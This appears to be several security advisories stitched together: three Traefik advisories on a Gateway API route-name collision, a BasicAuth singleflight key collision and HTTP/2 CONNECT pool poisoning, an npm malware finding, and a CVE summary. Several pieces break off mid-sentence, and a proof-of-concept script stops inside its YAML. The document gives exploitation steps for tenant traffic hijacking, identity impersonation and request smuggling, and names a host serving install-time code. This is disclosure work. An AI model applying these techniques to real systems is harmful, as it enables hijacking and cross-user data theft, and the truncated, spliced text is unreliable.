## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit

## Summary There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's BasicAuth middleware deduplicates concurrent password checks with a `singleflight.Group`. Its key is the delimiter-free concatenation `password + secret`. For an existing user with password `P` and stored hash `H`, the key is `P || H`. An unknown user can select the password `P || H`; because its secret is the empty string, its key is also `P || H`. If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through `URL.User`, the access log, and the configured BasicAuth `headerField`. A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth `headerField` as a trusted identity, which is the documented purpose of that option. ## Details The vulnerable logic is in `pkg/middlewares/auth/basic_auth.go:118-131`: ```go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm) key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) } ``` For a configured user `viewer`: ```text password = P secret = H key = P || H result = true ``` For an unconfigured user `admin`: ```text password = P || H secret = "" key = (P || H) || "" = P || H ``` `singleflight.Group.Do` shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives `true`. The authorization result is not bound to the username. After the shared result is accepted, `ServeHTTP` uses the username parsed from the unknown request: ```go req.URL.User = url.User(user) if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ``` Consequently, the backend sees the attacker-selected `admin` identity, not the valid request's `viewer` identity. ### Attack prerequisites The attacker needs: 1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash. The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: `GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the hash, despite the field carrying `loggable:"false"`. The official v3.7.8 binary returned the hash in the validation environment. The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username. ### Security impact When `headerField` is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow: - access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation. Without `headerField`, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fff16333aa7ffc7fc2c7decc1458c23b7d89f8caacb5c6129ba76168d08ec4be) package.json declares the sole dependency `packet-table-thread-stream` as a direct tarball URL to a non-npm host (`https://artifacts.yosiroute.com/npm/packet-table-thread-stream`), with no version pin and no integrity hash. The shrinkwrap marks that dependency `hasInstallScript: true`, so on `npm install` npm fetches opaque code from `artifacts.yosiroute.com` and executes its lifecycle scripts on the installer's machine, bypassing npm registry scanning. The wrapper package itself is a disposable shim: index.js is trivial (only re-exports name/version), and package.json metadata is placeholder (`author: Package Registry`, `description: Generated package`, `repo: github.com/example/...`). The package's only functional effect on install is pulling attacker-controlled code from a non-registry host into the installer's dependency tree and running its install scripts.

## Summary There is a critical vulnerability in Traefik's default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 `CONNECT` request, Traefik forwards it — body included — to an HTTP/1.1 upstream over a shared `net/http.Transport`. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik's shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled — which may be another user's authenticated or private content. The entrypoint's `sanitizePath` option (default `true`) is not a reliable defense: backends that answer `CONNECT /` with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.53 - https://github.com/traefik/traefik/releases/tag/v3.6.24 - https://github.com/traefik/traefik/releases/tag/v3.7.9 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's default reverse proxy forwards a plain HTTP/2 or HTTP/3 `CONNECT` request and its body to an HTTP/1.1 upstream through a shared `net/http.Transport`. When the upstream answers the CONNECT with a keep-alive non-2xx response and does not drain the body, Traefik returns the now desynchronized backend socket to its shared pool and reuses it for other clients. An unauthenticated attacker uses this to make a different client read the attacker's smuggled response. Traefik's default proxy is `net/http/httputil.ReverseProxy` over a shared `http.Transport`, so it inherits the same root cause as the Caddy `reverse_proxy` CONNECT pool poisoning. Traefik ships one partial mitigation Caddy does not. The entrypoint option `sanitizePath` (default `true`) rewrites the forwarded CONNECT's empty path to `/`, so Traefik emits `CONNECT /` instead of authority-form `CONNECT host:port`. This is not a reliable defense. It avoids the smuggle only against backends that reject `CONNECT /` by closing the connection (Apache, nginx). Backends that answer `CONNECT /` with a keep-alive non-2xx and leave the body undrained still cross. That set includes any Go `net/http` server and gunicorn/Flask. Confirmed on the official image `traefik:v3.6.23` (a currently supported release), default configuration, against stock `go-httpbin` (Go) and `kennethreitz/httpbin` (Python gunicorn/Flask), attacker and victim in separate containers, over both HTTP/2 and HTTP/3. ## Affected - `traefik:v3.6.23` (official image) and current v3, default configuration, standard proxy to an HTTP/1.1 upstream. Backend keep-alive pooling is on by default (`MaxIdleConnsPerHost` 200). - Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected. - The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not drain the body. - The experimental FastProxy implementation is not affected (see Not affected). ## Details Three behaviors compose. 1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is `httputil.ReverseProxy` with a shared `http.Transport` (`pkg/proxy/httputil/proxy.go`). The director assigns the outbound `URL.Host` directly and does not reject CONNECT, leaving the request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA frames), which is written onto the backend socket after the CONNECT header block. 2. `net/http` writes the CONNECT body unframed and pools the socket. For a CONNECT the transport writes the body with no `Content-Length` and no `Transfer-Encoding`. The upstream answers a keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx response and returns the socket to the shared idle pool once the request body reaches EOF (the `wroteRequest` gate), while the smuggled request's response is still pending. 3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after the socket is pooled. A different client that reuses the socket reads the pending smuggled response as its own. `sanitizePath` (default `true`, `pkg/server/server_entrypoint_tcp.go`) calls `req.URL.JoinPath()`, which turns the CONNECT's empty path into `/`. Traefik emits `CONNECT /`. Whether that stops the smuggle depends only on the backend: Apache and nginx answer `400 Bad Request` with `Connection: close` (socket torn down, no cross); Go `net/http` and gunicorn/Flask

CVE-2026-65553 is a critical vulnerability in the Spider Analyser WordPress plugin (versions up to 2.1.3) that allows unauthenticated remote code execution due to improper control of code generation (CWE-94). This vulnerability has a CVSS score of 10, indicating it is highly severe with network attack vector, no privileges or user interaction required, and complete impact on confidentiality, integrity, and availability.